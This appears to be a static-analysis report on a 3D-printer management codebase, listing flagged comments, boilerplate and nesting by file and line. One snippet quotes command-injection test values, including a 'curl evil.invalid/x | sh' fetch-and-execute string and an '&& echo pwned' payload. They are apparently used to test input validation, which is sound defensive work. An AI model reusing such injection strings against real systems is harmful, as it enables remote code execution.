MEDIUM	backend/tests/integration/test_mfa_api.py	2278	# Create a user first	COMMENT
MEDIUM	backend/tests/integration/test_mfa_api.py	4989	# Create a temporary group and use it as default_group_id	COMMENT
MEDIUM	backend/tests/integration/test_system_api.py	195	# Create a test printer	COMMENT
MEDIUM	backend/tests/integration/test_print_queue_api.py	1888	# Create a printer with model X1C so the API can validate	COMMENT
MEDIUM	backend/tests/integration/test_print_queue_api.py	2884	# Create a batch of 3	COMMENT
MEDIUM⚡	backend/tests/integration/test_library_api.py	457	# Create a test user	COMMENT
MEDIUM⚡	backend/tests/integration/test_library_api.py	462	# Create a file with created_by_id set	COMMENT
MEDIUM⚡	backend/tests/integration/test_library_api.py	909	# Create a file in DB but not on disk	COMMENT
MEDIUM	backend/tests/integration/test_library_api.py	725	# Create a fake file that's not a ZIP	COMMENT
MEDIUM	backend/tests/integration/test_library_api.py	737	# Create a simple ZIP file in memory	COMMENT
MEDIUM	backend/tests/integration/test_library_api.py	758	# Create a ZIP file with folder structure	COMMENT
MEDIUM	backend/tests/integration/test_library_api.py	780	# Create a ZIP file with folder structure	COMMENT
MEDIUM	backend/tests/integration/test_library_api.py	801	# Create a ZIP file with macOS junk files	COMMENT
MEDIUM	backend/tests/integration/test_library_api.py	822	# Create a ZIP file with some files	COMMENT
MEDIUM	backend/tests/integration/test_library_api.py	932	# Create a simple ASCII STL cube	COMMENT
MEDIUM	backend/tests/integration/test_library_api.py	985	# Create a simple STL file	COMMENT
MEDIUM	backend/tests/integration/test_library_api.py	1002	# Create a ZIP file containing an STL	COMMENT
MEDIUM	backend/tests/integration/test_library_api.py	1023	# Create a folder	COMMENT
MEDIUM	backend/tests/integration/test_library_api.py	1426	# Create a target folder the move can land in.	COMMENT
MEDIUM	backend/tests/integration/test_projects_api.py	993	# Create a linked folder	COMMENT
MEDIUM	backend/tests/integration/test_projects_api.py	1038	# Create a file-like object	COMMENT
MEDIUM	backend/tests/integration/test_projects_api.py	1062	# Create a ZIP file in memory	COMMENT
MEDIUM	backend/tests/integration/test_projects_api.py	1091	# Create a linked folder with is_external fields	COMMENT
MEDIUM	backend/tests/integration/test_projects_api.py	1102	# Create a test file on disk	COMMENT
23 more matches not shown…

Deep Nesting310 hits · 218 pts

Severity	File	Line	Context
LOW	backend/app/main.py	669	CODE
LOW	backend/app/main.py	1353	CODE
LOW	backend/app/main.py	1783	CODE
LOW	backend/app/main.py	2783	CODE
LOW	backend/app/main.py	4009	CODE
LOW	backend/app/main.py	4109	CODE
LOW	backend/app/main.py	4400	CODE
LOW	backend/app/main.py	4527	CODE
LOW	backend/app/main.py	5003	CODE
LOW	backend/app/main.py	5320	CODE
LOW	backend/app/main.py	6876	CODE
LOW	backend/app/main.py	7147	CODE
LOW	backend/app/main.py	7261	CODE
LOW	backend/app/main.py	7728	CODE
LOW	backend/app/main.py	6292	CODE
LOW	backend/app/main.py	6564	CODE
LOW	backend/app/main.py	6694	CODE
LOW	backend/app/main.py	6785	CODE
LOW	backend/app/main.py	5880	CODE
LOW	backend/app/core/auth.py	410	CODE
LOW	backend/app/core/auth.py	1132	CODE
LOW	backend/app/core/auth.py	1479	CODE
LOW	backend/app/core/database.py	845	CODE
LOW	backend/app/core/database.py	1242	CODE
LOW	backend/app/core/database.py	4557	CODE
LOW	backend/app/core/database.py	4936	CODE
LOW	backend/app/utils/threemf_tools.py	32	CODE
LOW	backend/app/utils/threemf_tools.py	168	CODE
LOW	backend/app/utils/threemf_tools.py	235	CODE
LOW	backend/app/utils/threemf_tools.py	557	CODE
LOW	backend/app/utils/threemf_tools.py	613	CODE
LOW	backend/app/utils/threemf_tools.py	833	CODE
LOW	backend/app/utils/threemf_tools.py	1232	CODE
LOW	backend/app/utils/threemf_tools.py	1484	CODE
LOW	backend/app/utils/threemf_tools.py	1580	CODE
LOW	backend/app/utils/tray_split.py	27	CODE
LOW	backend/app/api/routes/mfa.py	1133	CODE
LOW	backend/app/api/routes/mfa.py	1721	CODE
LOW	backend/app/api/routes/slicer_presets.py	102	CODE
LOW	backend/app/api/routes/slicer_presets.py	185	CODE
LOW	backend/app/api/routes/slicer_presets.py	448	CODE
LOW	backend/app/api/routes/auth.py	257	CODE
LOW	backend/app/api/routes/auth.py	449	CODE
LOW	backend/app/api/routes/auth.py	751	CODE
LOW	backend/app/api/routes/auth.py	1867	CODE
LOW	backend/app/api/routes/system.py	244	CODE
LOW	backend/app/api/routes/finance.py	75	CODE
LOW	backend/app/api/routes/spoolman.py	71	CODE
LOW	backend/app/api/routes/spoolman.py	175	CODE
LOW	backend/app/api/routes/spoolman.py	410	CODE
LOW	backend/app/api/routes/spoolman.py	791	CODE
LOW	backend/app/api/routes/spoolman.py	1150	CODE
LOW	backend/app/api/routes/support.py	786	CODE
LOW	backend/app/api/routes/support.py	1256	CODE
LOW	backend/app/api/routes/library.py	577	CODE
LOW	backend/app/api/routes/library.py	670	CODE
LOW	backend/app/api/routes/library.py	733	CODE
LOW	backend/app/api/routes/library.py	1269	CODE
LOW	backend/app/api/routes/library.py	1402	CODE
LOW	backend/app/api/routes/library.py	1706	CODE
250 more matches not shown…

Modern Structural Boilerplate179 hits · 179 pts

Severity	File	Line	Snippet	Context
LOW	backend/app/core/oidc_env.py	20	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/core/auth.py	26	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/core/encryption.py	30	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/core/tasks.py	29	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/core/database.py	12	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/core/asyncio_handlers.py	17	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/utils/local_time.py	22	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/utils/threemf_tools.py	25	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/models/__init__.py	43	__all__ = [	CODE
LOW	backend/app/schemas/__init__.py	25	__all__ = [	CODE
LOW⚡	backend/app/api/routes/mfa.py	624	async def _set_email_2fa_enabled(db: AsyncSession, user_id: int, enabled: bool) -> None:	CODE
LOW	backend/app/api/routes/mfa.py	89	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/slicer_presets.py	58	logger = logging.getLogger(__name__)	CODE
LOW⚡	backend/app/api/routes/auth.py	220	async def set_advanced_auth_enabled(db: AsyncSession, enabled: bool) -> None:	CODE
LOW⚡	backend/app/api/routes/auth.py	227	async def set_auth_enabled(db: AsyncSession, enabled: bool) -> None:	CODE
LOW	backend/app/api/routes/auth.py	248	async def set_setup_completed(db: AsyncSession, completed: bool) -> None:	CODE
LOW	backend/app/api/routes/library_trash.py	43	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/user_notifications.py	16	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/labels.py	35	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/sponsor_prompt.py	18	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/library_variants.py	60	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/ha_sensors.py	25	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/spoolman.py	39	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/support.py	47	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/library.py	94	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/print_log.py	21	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/firmware.py	28	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/cloud.py	55	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/spoolman_inventory.py	69	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/discovery.py	24	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/webhook.py	16	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/maintenance.py	31	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/slicer_pipelines.py	30	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/updates.py	23	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/local_presets.py	32	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/archives.py	46	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/spoolbuddy.py	46	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/orca_cloud.py	64	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/external_links.py	29	logger = logging.getLogger(__name__)	CODE
LOW⚡	backend/app/api/routes/pipeline_runs.py	65	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/makerworld.py	54	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/local_backup.py	13	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/camera.py	49	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/github_backup.py	34	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/_spoolman_helpers.py	18	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/settings.py	22	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/settings.py	148	async def set_setting(db: AsyncSession, key: str, value: str) -> None:	CODE
LOW	backend/app/api/routes/virtual_printers.py	19	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/printers.py	73	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/notifications.py	27	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/api_keys.py	19	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/smart_plugs.py	45	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/print_queue.py	63	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/projects.py	50	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/library_tags.py	51	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/archive_purge.py	33	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/kprofiles.py	26	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/obico.py	13	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/bug_report.py	23	logger = logging.getLogger(__name__)	CODE
LOW	backend/app/api/routes/websocket.py	30	logger = logging.getLogger(__name__)	CODE
119 more matches not shown…

Redundant / Tautological Comments122 hits · 176 pts

Severity	File	Line	Snippet	Context
LOW	install/install.sh	304	# Check if Homebrew is installed	COMMENT
LOW	install/install.sh	914	# Check if running via pipe (curl \| bash) - interactive mode won't work	COMMENT
LOW	install/docker-install.sh	341	# Check if container is running (Up)	COMMENT
LOW	install/docker-install.sh	347	# Check if container failed	COMMENT
LOW	install/docker-install.sh	469	# Check if running via pipe (curl \| bash) - interactive mode won't work	COMMENT
LOW	install/docker-install.sh	498	# Check if Docker daemon is running	COMMENT
LOW	deploy/docker-entrypoint.sh	42	# Check if we have any certificates to process. Error if directory is empty	COMMENT
LOW	tests/e2e_comprehensive_test.py	195	# Check if modal opened	COMMENT
LOW	tests/e2e_comprehensive_test.py	241	# Check if dark theme is applied (should be default)	COMMENT
LOW⚡	backend/app/main.py	2302	# Check if Spoolman is enabled	COMMENT
LOW	backend/app/main.py	2093	# Check if assignment already exists for this slot	COMMENT
LOW	backend/app/main.py	2334	# Check if Spoolman is reachable	COMMENT
LOW	backend/app/main.py	3059	# Check if this is an expected print from reprint/scheduled	COMMENT
LOW	backend/app/main.py	3253	# Check if there's already a "printing" archive for this printer/file	COMMENT
LOW	backend/app/main.py	5691	# Check if queue is now empty and send notification	COMMENT
LOW	backend/app/main.py	5747	# Check if any provider has on_bed_cooled enabled (skip registration if none)	COMMENT
LOW	backend/app/main.py	6467	# Check if camera stream is active - use buffered frame to avoid freeze	COMMENT
LOW	backend/app/main.py	8496	# Check if auth is enabled. Fail CLOSED on any exception during the	COMMENT
LOW	backend/app/core/auth.py	1294	# Check if it's an API key (starts with bb_)	COMMENT
LOW	backend/app/core/auth.py	1514	# Check if key matches (verify against hash)	COMMENT
LOW	backend/app/core/auth.py	1676	# Check if it's an API key (starts with bb_)	COMMENT
LOW	backend/app/core/auth.py	1759	# Check if it's an API key (starts with bb_)	COMMENT
LOW	backend/app/core/auth.py	2061	# Check if it's an API key (starts with bb_)	COMMENT
LOW	backend/app/core/database.py	1961	# Check if archive_id needs to be made nullable (requires table recreation in SQLite)	STRING
LOW	backend/app/utils/threemf_tools.py	655	# Check if only one extruder is active.	COMMENT
LOW	backend/app/models/archive.py	67	# Print result	COMMENT
LOW	backend/app/api/routes/auth.py	275	# Check if admin users already exist	COMMENT
LOW	backend/app/api/routes/auth.py	305	# Check if username already exists (shouldn't happen if no admin users exist, but check anyway)	COMMENT
LOW	backend/app/api/routes/auth.py	459	# Check if auth is enabled	COMMENT
LOW	backend/app/api/routes/auth.py	484	# Check if LDAP is enabled	COMMENT
LOW	backend/app/api/routes/auth.py	687	# Check if it's an API key (starts with bb_)	COMMENT
LOW	backend/app/api/routes/auth.py	1059	# Check if advanced auth is enabled	COMMENT
LOW	backend/app/api/routes/auth.py	1236	# Check if advanced auth is enabled	COMMENT
LOW	backend/app/api/routes/metrics.py	66	# Check if enabled	COMMENT
LOW	backend/app/api/routes/spoolman.py	181	# Check if Spoolman is enabled and connected	COMMENT
LOW	backend/app/api/routes/spoolman.py	415	# Check if Spoolman is enabled	COMMENT
LOW	backend/app/api/routes/spoolman.py	762	# Check if spool has a tag in extra field	COMMENT
LOW	backend/app/api/routes/support.py	1420	# Check if debug logging is enabled and collect sensitive values for redaction	COMMENT
LOW	backend/app/api/routes/library.py	1995	# Check if subfolder has any remaining files	COMMENT
LOW	backend/app/api/routes/library.py	2003	# Check if it has any remaining child folders	COMMENT
LOW	backend/app/api/routes/library.py	2448	# Check if folder already exists	COMMENT
LOW	backend/app/api/routes/library.py	2502	# Check if folder exists	COMMENT
LOW	backend/app/api/routes/library.py	3318	# Check if this is the requested plate	COMMENT
LOW	backend/app/api/routes/users.py	110	# Check if advanced auth is enabled	COMMENT
LOW	backend/app/api/routes/users.py	115	# Check if username already exists (case-insensitive)	COMMENT
LOW	backend/app/api/routes/users.py	137	# Check if email already exists (case-insensitive)	COMMENT
LOW	backend/app/api/routes/users.py	293	# Check if new username already exists (case-insensitive)	COMMENT
LOW	backend/app/api/routes/users.py	305	# Check if new email already exists (case-insensitive)	COMMENT
LOW	backend/app/api/routes/maintenance.py	518	# Check if already assigned	COMMENT
LOW	backend/app/api/routes/updates.py	374	# Check if this is a prerelease (has b/beta/alpha/rc/daily suffix anywhere)	COMMENT
LOW	backend/app/api/routes/updates.py	467	# Check if beta updates should be included	COMMENT
LOW	backend/app/api/routes/archives.py	3136	# Check if source 3MF exists - this is where actual mesh data typically lives	COMMENT
LOW	backend/app/api/routes/groups.py	106	# Check if group name already exists	COMMENT
LOW	backend/app/api/routes/groups.py	190	# Check if updating name to one that already exists	COMMENT
LOW	backend/app/api/routes/groups.py	297	# Check if user is already in group	COMMENT
LOW	backend/app/api/routes/groups.py	335	# Check if user is in group	COMMENT
LOW	backend/app/api/routes/camera.py	208	# Check if client disconnected	COMMENT
LOW	backend/app/api/routes/camera.py	806	# Check if stream was explicitly stopped (e.g., by stop endpoint)	COMMENT
LOW	backend/app/api/routes/camera.py	1361	# Check if there's an active stream for this printer	COMMENT
LOW	backend/app/api/routes/settings.py	309	# Check if any MQTT settings are being updated	COMMENT
62 more matches not shown…

Cross-Language Confusion26 hits · 129 pts

Severity	File	Line	Snippet	Context
HIGH	backend/app/core/auth.py	2011	- Ownerless items (created_by_id = null) require ``all_permission``	STRING
HIGH	backend/app/core/database.py	1346	"UPDATE cost_centers SET code = substr(md5(random()::text \|\| clock_timestamp()::text), 1, 12) "	CODE
HIGH	backend/app/models/library.py	156	# Soft-delete / trash bin (Issue #1008). When non-null, the file is in the	COMMENT
HIGH	backend/app/models/archive.py	118	# Soft-delete sentinel (#1343). When non-null, the UI hides this archive	COMMENT
HIGH	backend/app/schemas/library.py	220	# never null, so the FE can iterate without a guard.	COMMENT
HIGH	backend/app/api/routes/library.py	5291	pass # leave hash null; dedup just won't match this row	CODE
HIGH	backend/app/api/routes/spoolman_inventory.py	1923	_raise_if_partial_failure(spools_to_clear, results, "spool_weight clear (option B null)")	CODE
HIGH	backend/app/api/routes/spoolman_inventory.py	81	"""Return True when a PATCH field explicitly removes a tag (null)."""	STRING
HIGH	backend/app/api/routes/spoolman_inventory.py	1859	is null, clears per-spool overrides so spools fall back to the filament value.	STRING
HIGH	backend/app/api/routes/updates.py	961	"git pull && docker compose build --pull && docker compose up -d"	CODE
HIGH	backend/app/services/print_scheduler.py	4501	2. Chamber target — `item.preheat_chamber_target_override` if non-null;	STRING
HIGH⚡	backend/app/services/spoolbuddy_ssh.py	339	"sudo find /home -maxdepth 5 -path '*/chromium/Default/Service Worker' -type d -exec rm -rf {} + 2>/dev/null	CODE
HIGH⚡	backend/tests/unit/test_main_plug_rank_2830.py	199	backfilled with the default and nothing writes a null, but a rank that	STRING
HIGH⚡	backend/tests/unit/test_compose_dir_setting.py	37	"/opt/bambuddy && curl evil.invalid/x \| sh",	CODE
HIGH⚡	backend/tests/unit/test_compose_dir_setting.py	41	'/opt/bambuddy" && echo pwned && echo "',	CODE
HIGH⚡	backend/tests/integration/test_library_api.py	434	# User tracking fields should be present (even if null)	COMMENT
HIGH⚡	backend/tests/integration/test_library_api.py	446	# User tracking fields should be present (even if null)	COMMENT
HIGH	backend/tests/integration/test_ownership_permissions.py	6	- Ownerless items (created_by_id = null) require *_all permission	STRING
HIGH	backend/tests/integration/test_ownership_permissions.py	523	"""Ownerless archive (created_by_id=null) requires REPRINT_ALL.	STRING
HIGH	backend/tests/integration/test_ownership_permissions.py	1637	"""Ownerless rows (created_by_id = null, legacy data) require *_ALL — an	STRING
HIGH	backend/tests/integration/test_inventory_assign.py	444	"""When slicer_filament_name is null, falls back to tray_sub_brands."""	STRING
HIGH⚡	…ckend/tests/integration/test_spoolman_inventory_api.py	2424	"""Sending {tag_uid: null, tray_uuid: null} → at_least_one validator → 422."""	STRING
HIGH	backend/tests/integration/test_color_catalog_extras.py	52	"""PUT with empty extra_colors clears the field (server normalizes "" → null)."""	STRING
HIGH	backend/tests/integration/test_settings_api.py	877	# And a fresh GET also sees it as null, not the literal string "None".	COMMENT
HIGH	backend/tests/integration/test_printers_api.py	1489	has filament_id=null, the frontend sends the setting_id in BOTH fields	STRING
HIGH	installers/windows/build.py	207	"""Run ``npm ci && npm run build`` and return the build output path.	STRING

Structural Annotation Overuse48 hits · 80 pts

Severity	File	Line	Snippet	Context
LOW⚡	docker-publish-daily-beta.sh	102	# Step 1: Read and validate APP_VERSION	COMMENT
LOW⚡	docker-publish-daily-beta.sh	127	# Step 2: Build & push Docker images	COMMENT
LOW⚡	docker-publish-daily-beta.sh	288	# Step 3: Create/update GitHub release	COMMENT
LOW⚡	docker-publish-daily-beta.sh	380	# Step 4: Verify	COMMENT
LOW	frontend/src/components/TwoFactorSettings.tsx	205	// Step 1: request verification code (proof of possession)	COMMENT
LOW	frontend/src/components/TwoFactorSettings.tsx	222	// Step 2: confirm with the code received by email	COMMENT
LOW	frontend/src/components/SliceModal.tsx	631	// Step 1: plate picker for multi-plate 3MF sources. Cancelling closes the	COMMENT
LOW⚡	frontend/src/components/spoolbuddy/DiagnosticModal.tsx	37	// Step 1: Queue the diagnostic on the device	COMMENT
LOW⚡	frontend/src/components/spoolbuddy/DiagnosticModal.tsx	41	// Step 2: Poll for results with timeout	COMMENT
LOW⚡	frontend/src/__tests__/components/SliceModal.test.tsx	836	// Step 1: pick Plate 2.	COMMENT
LOW⚡	frontend/src/__tests__/components/SliceModal.test.tsx	840	// Step 2: profile dropdowns are now visible.	COMMENT
LOW⚡	frontend/src/__tests__/components/SliceModal.test.tsx	843	// Step 3: submit and verify the plate index made it into the body.	COMMENT
LOW⚡	frontend/src/api/client.ts	4240	// Step 1: send a verification code to the user's email (proof of possession)	COMMENT
LOW⚡	frontend/src/api/client.ts	4243	// Step 2: confirm with the code received by email	COMMENT
LOW	backend/app/core/database.py	3944	# Step 1: link old log entries to their archive via print_name + printer_id.	COMMENT
LOW	backend/app/core/database.py	3968	# Step 2: backfill cost / energy_kwh / energy_cost onto the latest linked	STRING
LOW	backend/app/services/ldap_service.py	263	# Step 2: Bind as the user to verify password	COMMENT
LOW	backend/app/services/spoolbuddy_ssh.py	255	# Step 1: Test SSH connectivity	COMMENT
LOW	backend/app/services/spoolbuddy_ssh.py	284	# Step 2: Git fetch	COMMENT
LOW	backend/app/services/spoolbuddy_ssh.py	297	# Step 3: Git checkout + reset	COMMENT
LOW	backend/app/services/spoolbuddy_ssh.py	310	# Step 4: Install dependencies	COMMENT
LOW	backend/app/services/spoolbuddy_ssh.py	323	# Step 5: Restart daemon	COMMENT
LOW⚡	backend/app/services/spoolbuddy_ssh.py	335	# Step 6: Clear browser cache and restart kiosk	COMMENT
LOW⚡	backend/tests/unit/services/test_bambu_mqtt.py	4980	# Step 1: Stale detection triggers	COMMENT
LOW⚡	backend/tests/unit/services/test_bambu_mqtt.py	4984	# Step 2: Paho fires disconnect callback (from socket close)	COMMENT
LOW⚡	backend/tests/unit/services/test_bambu_mqtt.py	4989	# Step 3: Paho reconnects	COMMENT
LOW	backend/tests/unit/services/test_bambu_mqtt.py	3306	# Step 1: Right extruder loads AMS 0 slot 0	COMMENT
LOW	backend/tests/unit/services/test_bambu_mqtt.py	3318	# Step 2: Switch to left, load AMS HT	COMMENT
LOW	backend/tests/unit/services/test_bambu_mqtt.py	3331	# Step 3: Switch back to right, load AMS 0 slot 2	COMMENT
LOW	backend/tests/unit/services/test_bambu_mqtt.py	3344	# Step 4: Unload	COMMENT
LOW	backend/tests/unit/services/test_smart_plug_manager.py	595	# Step 1: Print starts — plug turns on	COMMENT
LOW	backend/tests/unit/services/test_smart_plug_manager.py	610	# Step 2: Print completes — auto-off is scheduled	COMMENT
LOW	backend/tests/unit/services/test_smart_plug_manager.py	622	# Step 3: Auto-off executes via _mark_auto_off_executed	COMMENT
LOW⚡	backend/tests/integration/test_mfa_api.py	2796	# Step 1: Initial TOTP setup (no active TOTP yet → no code required)	COMMENT
LOW⚡	backend/tests/integration/test_mfa_api.py	2804	# Step 2: Enable TOTP with a valid code	COMMENT
LOW⚡	backend/tests/integration/test_mfa_api.py	2813	# Step 3: Determine current valid code and its counter	COMMENT
LOW⚡	backend/tests/integration/test_mfa_api.py	2825	# Step 4: Pre-set last_totp_counter so this code looks already used	COMMENT
LOW⚡	backend/tests/integration/test_mfa_api.py	2829	# Step 5: Attempt setup_totp with the "already used" code → must be rejected	COMMENT
LOW⚡	.github/MAINTAINERS.md	9	### Step 1: Basic Settings	COMMENT
LOW⚡	.github/MAINTAINERS.md	16	### Step 2: Bypass List (optional)	COMMENT
LOW⚡	.github/MAINTAINERS.md	21	### Step 3: Target Branches	COMMENT
LOW⚡	.github/MAINTAINERS.md	25	### Step 4: Branch Rules	COMMENT
LOW⚡	spoolbuddy/daemon/nau7802.py	96	# Step 1: Reset (set RR=1, then RR=0)	COMMENT
LOW⚡	spoolbuddy/daemon/nau7802.py	103	# Step 2: Power up digital (PUD=1 auto-starts AD conversion)	COMMENT
LOW⚡	spoolbuddy/daemon/nau7802.py	109	# Step 3: Wait for power-up ready (PUR bit 3)	COMMENT
LOW⚡	spoolbuddy/daemon/nau7802.py	127	# Step 4: Configure device	COMMENT
LOW⚡	spoolbuddy/daemon/nau7802.py	145	# Step 5: Tuning per application notes	COMMENT
LOW⚡	spoolbuddy/daemon/nau7802.py	151	# Step 6: Trigger fresh AD conversion and wait for first result	COMMENT

Verbosity Indicators44 hits · 72 pts

Severity	File	Line	Snippet	Context
LOW⚡	docker-publish-daily-beta.sh	102	# Step 1: Read and validate APP_VERSION	COMMENT
LOW⚡	docker-publish-daily-beta.sh	127	# Step 2: Build & push Docker images	COMMENT
LOW⚡	docker-publish-daily-beta.sh	288	# Step 3: Create/update GitHub release	COMMENT
LOW⚡	docker-publish-daily-beta.sh	380	# Step 4: Verify	COMMENT
LOW	frontend/src/components/TwoFactorSettings.tsx	205	// Step 1: request verification code (proof of possession)	COMMENT
LOW	frontend/src/components/TwoFactorSettings.tsx	222	// Step 2: confirm with the code received by email	COMMENT
LOW	frontend/src/components/SliceModal.tsx	631	// Step 1: plate picker for multi-plate 3MF sources. Cancelling closes the	COMMENT
LOW⚡	frontend/src/components/spoolbuddy/DiagnosticModal.tsx	37	// Step 1: Queue the diagnostic on the device	COMMENT
LOW⚡	frontend/src/components/spoolbuddy/DiagnosticModal.tsx	41	// Step 2: Poll for results with timeout	COMMENT
LOW⚡	frontend/src/__tests__/components/SliceModal.test.tsx	836	// Step 1: pick Plate 2.	COMMENT
LOW⚡	frontend/src/__tests__/components/SliceModal.test.tsx	840	// Step 2: profile dropdowns are now visible.	COMMENT
LOW⚡	frontend/src/__tests__/components/SliceModal.test.tsx	843	// Step 3: submit and verify the plate index made it into the body.	COMMENT
LOW⚡	frontend/src/api/client.ts	4240	// Step 1: send a verification code to the user's email (proof of possession)	COMMENT
LOW⚡	frontend/src/api/client.ts	4243	// Step 2: confirm with the code received by email	COMMENT
LOW	backend/app/core/database.py	3944	# Step 1: link old log entries to their archive via print_name + printer_id.	COMMENT
LOW	backend/app/core/database.py	3968	# Step 2: backfill cost / energy_kwh / energy_cost onto the latest linked	STRING
LOW	backend/app/services/ldap_service.py	263	# Step 2: Bind as the user to verify password	COMMENT
LOW	backend/app/services/spoolbuddy_ssh.py	255	# Step 1: Test SSH connectivity	COMMENT
LOW	backend/app/services/spoolbuddy_ssh.py	284	# Step 2: Git fetch	COMMENT
LOW	backend/app/services/spoolbuddy_ssh.py	297	# Step 3: Git checkout + reset	COMMENT
LOW	backend/app/services/spoolbuddy_ssh.py	310	# Step 4: Install dependencies	COMMENT
LOW	backend/app/services/spoolbuddy_ssh.py	323	# Step 5: Restart daemon	COMMENT
LOW⚡	backend/app/services/spoolbuddy_ssh.py	335	# Step 6: Clear browser cache and restart kiosk	COMMENT
LOW⚡	backend/tests/unit/services/test_bambu_mqtt.py	4980	# Step 1: Stale detection triggers	COMMENT
LOW⚡	backend/tests/unit/services/test_bambu_mqtt.py	4984	# Step 2: Paho fires disconnect callback (from socket close)	COMMENT
LOW⚡	backend/tests/unit/services/test_bambu_mqtt.py	4989	# Step 3: Paho reconnects	COMMENT
LOW	backend/tests/unit/services/test_bambu_mqtt.py	3306	# Step 1: Right extruder loads AMS 0 slot 0	COMMENT
LOW	backend/tests/unit/services/test_bambu_mqtt.py	3318	# Step 2: Switch to left, load AMS HT	COMMENT
LOW	backend/tests/unit/services/test_bambu_mqtt.py	3331	# Step 3: Switch back to right, load AMS 0 slot 2	COMMENT
LOW	backend/tests/unit/services/test_bambu_mqtt.py	3344	# Step 4: Unload	COMMENT
LOW	backend/tests/unit/services/test_smart_plug_manager.py	595	# Step 1: Print starts — plug turns on	COMMENT
LOW	backend/tests/unit/services/test_smart_plug_manager.py	610	# Step 2: Print completes — auto-off is scheduled	COMMENT
LOW	backend/tests/unit/services/test_smart_plug_manager.py	622	# Step 3: Auto-off executes via _mark_auto_off_executed	COMMENT
LOW⚡	backend/tests/integration/test_mfa_api.py	2796	# Step 1: Initial TOTP setup (no active TOTP yet → no code required)	COMMENT
LOW⚡	backend/tests/integration/test_mfa_api.py	2804	# Step 2: Enable TOTP with a valid code	COMMENT
LOW⚡	backend/tests/integration/test_mfa_api.py	2813	# Step 3: Determine current valid code and its counter	COMMENT
LOW⚡	backend/tests/integration/test_mfa_api.py	2825	# Step 4: Pre-set last_totp_counter so this code looks already used	COMMENT
LOW⚡	backend/tests/integration/test_mfa_api.py	2829	# Step 5: Attempt setup_totp with the "already used" code → must be rejected	COMMENT
LOW⚡	spoolbuddy/daemon/nau7802.py	96	# Step 1: Reset (set RR=1, then RR=0)	COMMENT
LOW⚡	spoolbuddy/daemon/nau7802.py	103	# Step 2: Power up digital (PUD=1 auto-starts AD conversion)	COMMENT
LOW⚡	spoolbuddy/daemon/nau7802.py	109	# Step 3: Wait for power-up ready (PUR bit 3)	COMMENT
LOW⚡	spoolbuddy/daemon/nau7802.py	127	# Step 4: Configure device	COMMENT
LOW⚡	spoolbuddy/daemon/nau7802.py	145	# Step 5: Tuning per application notes	COMMENT
LOW⚡	spoolbuddy/daemon/nau7802.py	151	# Step 6: Trigger fresh AD conversion and wait for first result	COMMENT

Cross-File Repetition13 hits · 65 pts

Severity	File	Snippet	Context
HIGH	…ests/unit/test_library_file_type_backfill_migration.py	force the sqlite branch regardless of test env settings.	STRING
HIGH	…nd/tests/unit/test_variant_group_backfill_migration.py	force the sqlite branch regardless of test env settings.	STRING
HIGH	backend/tests/unit/test_vp_mode_rename_migration.py	force the sqlite branch regardless of test env settings.	STRING
HIGH	…s/unit/test_cancellation_cascade_recovery_migration.py	force the sqlite branch regardless of test env settings.	STRING
HIGH	…ckend/tests/unit/test_vp_access_code_sync_migration.py	force the sqlite branch regardless of test env settings.	STRING
HIGH	backend/tests/unit/test_oidc_env_managed_migration.py	force the sqlite branch regardless of test env settings.	STRING
HIGH	…d/tests/unit/test_force_color_plate_scope_migration.py	force the sqlite branch regardless of test env settings.	STRING
HIGH	backend/tests/unit/test_vp_mode_rename_migration.py	run_migrations touches multiple tables; the full schema must exist.	STRING
HIGH	…s/unit/test_cancellation_cascade_recovery_migration.py	run_migrations touches multiple tables; the full schema must exist.	STRING
HIGH	…ckend/tests/unit/test_vp_access_code_sync_migration.py	run_migrations touches multiple tables; the full schema must exist.	STRING
